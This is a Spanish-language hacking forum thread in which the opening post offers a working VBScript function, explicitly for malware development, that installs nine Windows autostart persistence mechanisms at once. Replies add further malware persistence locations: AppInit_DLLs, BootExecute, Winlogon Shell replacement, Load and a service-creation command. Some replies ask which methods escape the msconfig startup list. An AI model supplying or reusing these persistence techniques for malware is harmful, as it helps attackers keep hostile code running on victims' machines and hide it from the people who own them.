Muy buenas a todos
Como ya sabéis, cuando estamos trabajando o desarrollando
malware, es de suma importancia asegurarse que nuestro proceso/ejecutable/script se
auto-ejecute en el sistema cada vez que el usuario inicie sesión.
Hay muchos métodos para lograr dicho efecto, los más conocidos es mover una copia del ejecutable a la carpeta "Inicio" del menú de Windows o añadir una clave "Run" en el regedit, no? Bueno, he hecho un poco de búsqueda y pruebas y he logrado agrupar
9 métodos de auto-ejecución en una sola función. Hay más de 9 métodos, pero no todos son compatibles entre ellos y he agrupado los más efectivos en una sola función.
La función la he programado en
VBS, pero es fácilmente exportable a cualquier lenguaje de programación, incluido batch (que no es un lenguaje como tal). Los 9 métodos utilizados son:
- Regedit: Run en HKCU
- Regedit: Run en HKLM
- Regedit: RunOnce en HKLM
- Regedit: Policies en HKCU
- Regedit: Winlogon\Shell en HKLM
- Regedit: ActiveX en HKLM+HKCU
- Win32: StartupFolder
- Win32: AllUsersStartupFolder
- Scheduled Task: OnLogon
Éstos son los 9 métodos de los que voy a hablar, pero faltarían algunos más, como por ejemplo Winlogon\
Userinit, método
iFEO, crear un system
service, etc...
Además, he analizado el comportamiento de los 9 métodos y hay cosas a tener en cuenta. Si configuramos un sistema para que auto-ejecute un mismo programa utilizando éstos 9 métodos a la vez,
el sistema los ejecutará en un orden concreto, además 4 de los 9 métodos se ejecutarán
ANTES de iniciar el escritorio del usuario y los 5 métodos restantes se ejecutarán
DESPUÉS de iniciar el escritorio. Además 2 de éstos 9 métodos poseen la propiedad
HaltSystem, que mantendrán el sistema en suspensión hasta que la ejecución del proceso no finalice (cuidado!), aquí el script:
Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")
call startup
'call uninstall
Function startup
On Error Resume Next
oWSH.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\C1", "C:\V1.EXE"
oWSH.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\C2", "C:\V2.EXE"
oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\C3", "C:\V3.EXE"
oWSH.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\C4", "C:\V4.EXE"
oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe, C:\V5.EXE"
oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"
oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"
oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\StubPath", "C:\V6.EXE"
oFSO.CopyFile "C:\V1.EXE", oWSH.SpecialFolders("Startup") & "\V7.EXE", True
oFSO.CopyFile "C:\V1.EXE", oWSH.SpecialFolders("AllUsersStartup") & "\V8.EXE", True
oWSH.Run "schtasks /create /tn " & Chr(34) & "V9" & Chr(34) & " /tr " & Chr(34) & "C:\V9.EXE" & Chr(34) & " /sc onlogon /F"
End Function
Function uninstall
On Error Resume Next
oWSH.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\C1"
oWSH.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\C2"
oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\C3"
oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\C4"
oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe"
oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\StubPath"
oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"
oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"
oFSO.DeleteFile oWSH.SpecialFolders("Startup") & "\V7.EXE", True
oFSO.DeleteFile oWSH.SpecialFolders("AllUsersStartup") & "\V8.EXE", True
oWSH.Run "schtasks /delete /tn " & Chr(34) & "V9" & Chr(34) & " /f"
End Function
MsgBox "end"
He añadido también la función
uninstall, que eliminará los 9 métodos dejando el sistema "intacto". El orden de ejecución de los 9 métodos son:
Se ejecutan ANTES de iniciar el Desktop1º Scheduled Task
2º Winlogon\Shell
3º RunOnce (HaltSystem, hasta que no finalice el proceso, no se continuará la carga normal del systema)
4º ActiveX (HaltSystem, hasta que no finalice el proceso, no se continuará la carga normal del systema)
Se ejecutan DESPUES de iniciar el Desktop5º Regedit: Run en HKLM
6º Regedit: Policies
7º Regedit: Run en HKCU
8º Win32: All Users Startup Folder
9º Win32: Startup Folder
Pues nada, aquí tenéis la función, podéis utilizar solo un método o los 9 a la vez. También si alguien conoce algún método más y le gustaría compartir estaré encantado de ampliar el post con más información.
Saludos!! :)
Lo acabo de ver y no entiendo como los usuarios no se toman la molestia de dar las gracias, es una increíble recopilación, yo conocía tres métodos pero nada mejor tener todos los métodos en un solo post, sería ideal una chincheta o ponerlo en algún lugar de fácil recuerdo. Muchas gracias.
PD: Sería ideal especificar los permisos requeridos para cada autorranque, como por ejemplo HKLM requiere permisos de administrador a diferencia de HKCU.
Cita de: .:UND3R:. en 5 Mayo 2014, 06:31 AM
Lo acabo de ver y no entiendo como los usuarios no se toman la molestia de dar las gracias, es una increíble recopilación, yo conocía tres métodos pero nada mejor tener todos los métodos en un solo post, sería ideal una chincheta o ponerlo en algún lugar de fácil recuerdo. Muchas gracias.
PD: Sería ideal especificar los permisos requeridos para cada autorranque, como por ejemplo HKLM requiere permisos de administrador a diferencia de HKCU.
Gracias UND3R, tienes toda la razón. Más tarde editaré el post para indicar los permisos administrativos necesarios para cada método, intentaré añadir más métodos como por ejemplo el iFEO y creación de servicios de sistema.
Agradecería si alguien es capaz de aportar algún método de auto-inicio adicional. Aunque sean scams.
Saludos!!
Gracias Mad!
CitarLo acabo de ver y no entiendo como los usuarios no se toman la molestia de dar las gracias
Me dio asi como presión jaja
Saludos!
Antes que nada , buen aporte!
Agrego el registro HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs , si nuestro malware es una dll , lo añadimos ahi , y sera cargado en cada proceso que llame a user32.dll
Cita de: Lord Pei en 6 Mayo 2014, 09:15 AM
Antes que nada , buen aporte!
Agrego el registro HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs , si nuestro malware es una dll , lo añadimos ahi , y sera cargado en cada proceso que llame a user32.dll
Aaaah! buen aporte! No conocía éste método ya que VB6 no puede crear DLL nativas (solo DLL ActiveX) y nunca me había puesto a pensar como cargar DLL.
Lo añadiré en #1 cuando tenga terminado los otros métodos de Userinit, iFEO y Services.
Gracias!
Por eso es bueno agradecer, hoy mismo necesito iniciar de forma automática a ver si me guían:
- Estoy armando un equipo con Windows 7 solo para jugar a través de Steam, al tildar la opción arrancar desde el inicio, se muestra el escritorio y luego se inicia maximizado (por lo cual Steam debe utilizar uno de los 5 métodos), sería ideal implementar uno de los 4 métodos, pero cual de ellos me recomendarían para arrancar Steam (la idea es arrancarlo sin que se perciba el escritorio (Wallpaper y Explorer.exe)
EDIT: o quizás halftime? :O
Saludos
Cita de: .:UND3R:. en 6 Mayo 2014, 15:03 PM
Por eso es bueno agradecer, hoy mismo necesito iniciar de forma automática a ver si me guían:
- Estoy armando un equipo con Windows 7 solo para jugar a través de Steam, al tildar la opción arrancar desde el inicio, se muestra el escritorio y luego se inicia maximizado (por lo cual Steam debe utilizar uno de los 5 métodos), sería ideal implementar uno de los 4 métodos, pero cual de ellos me recomendarían para arrancar Steam (la idea es arrancarlo sin que se perciba el escritorio (Wallpaper y Explorer.exe)
Saludos
En ese caso, quizás la mejor opción sería levantar el servicio de sistema que lleva incluido el propio Steam. No lo he probado, pero cualquier método aquí listado te levantará la interfaz en maximizado :(
una consulta soy nuevo en este foro no tengo el konocimiento k se debe pero por ejemplo ustedes manejas programas ejecutables o si alguna vez uno los rekiera algo en espesifico si se pued ekonseguir eso? mas bien si se puede conseguir .exe
No me dedico a construir malware, pero si leeo para estar atento a lo que puedan causar y los metodos que utilizan estos para ejecutar sus procesos.
Gracias esto no lo revela cualquiera, ...!
@MAD:
Te paso un par mas de metodos de ejecucion y un par de lugares interesantes:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SetupExecute
Interesantes:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
Saludos!
Cita de: MCKSys Argentina en 8 Mayo 2014, 21:08 PM
@MAD:
Te paso un par mas de metodos de ejecucion y un par de lugares interesantes:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SetupExecute
Interesantes:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
Saludos!
De a donde sacas tanta información? jaja
Cita de: .:UND3R:. en 11 Mayo 2014, 06:17 AM
De a donde sacas tanta información? jaja
click (http://technet.microsoft.com/es-ar/sysinternals/bb963901.aspx)
:P
Saludos!
Muy buen aporte, tampoco las conocia todas.
Citarcreación de servicios de sistema
Esta es la que siempre usaba yo, en batch claro.
sc.exe create <nombreservicio> start= auto binpath=<dondeseencuentraelexe>
Con esta linea agregamos un servicio a windows, no se puede parar y da error si le das un start, pero si que arranca cuando windows se inicia sin ningun problema.
Hace tiempo que no lo usado, pero lo tenia por unos apuntes, no se si para windows 7 funcionará y para el 8 ya ni te digo. Pero recuerdo que para XP iba de maravilla, yo no usaba otra cosa.
Espero que os sirva.Saludos
Yo tengo otra pero requiere de la participación del archivo a ejecutar al inicio:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
se debe modificar el registro Shell que por defecto contiene el valor "explorer.exe" la idea sería modificar el el registro con la ruta del archivo a ejecutar tras arrancar el equipo pero este archivo debería llamar a explorer.exe ya que si no se hace esto Windows iniciará sin explorer:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Shell -> "C:\archivo.exe"
archivo.exe :
Start:
WinExec Explorer.exe
........
.....
..
Malware
.
Exit
Hola antrax muy bien la lista y buen post felisidades, nomas que me queda una duda de todos esos metodos cual no aparece en el msconfig ya que de hay el usuario puede modificar los programas que se inician...bueno pienso que es cuestion de que intente yo para no molestarte jajaja
Hola under a un que no me creas el metodo de remplasar el explorer por el malware ya me lo sabia pero no me acordaba la ruta ya que no la tenia en mis documentos privados y te doy gracias por recordarmela
saludos flamer y el metodo que propuso under boy a ver si aparece en el msconfig
Hola antrax aqui mi aportacion es igual que la de under pero en otro sub_arbol:
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
y creas el valor alfanumerico Shell y pones el malware el cual tiene que ejecutar el explorer tambien
saludos flamer
Mi aporte es sencillo. Hace unos dias vi un vbs que contenia la sigte llave del registro:
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows
Alli creas el valor alfanumerico "Load" y ponia en los datos la direccion "HDD:\direccion\malware.vbs"
Alguien que lo pruebe y si le funciona tanto en XP como en Win7 que avise y tienen un metodo mas.
muy buen post te felicito
Muchas gracias por la recopilación.
Muy buena.
Excelente aporte !!!
Muchas gracias
;-) ;-) ;-) ;-) ;-)
Muy buen aporte.
Ahí van otros dos:
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
Evidentemente sólo funciona en versiones de 64 bits.
Saludos y gracias por el post
En ésta página de karmany hay más formas de autoinicio :laugh: :laugh:
http://www.karmany.net/sistema-operativo/31-windows/225-programas-al-inicio-de-windows-que-programas-se-inician-con-windows (http://www.karmany.net/sistema-operativo/31-windows/225-programas-al-inicio-de-windows-que-programas-se-inician-con-windows)
nos vemos!
gracias por la infor
http://support.microsoft.com/kb/197571/es
http://reverseengineering.stackexchange.com/questions/1376/what-happens-when-a-dll-is-added-to-appinit-dll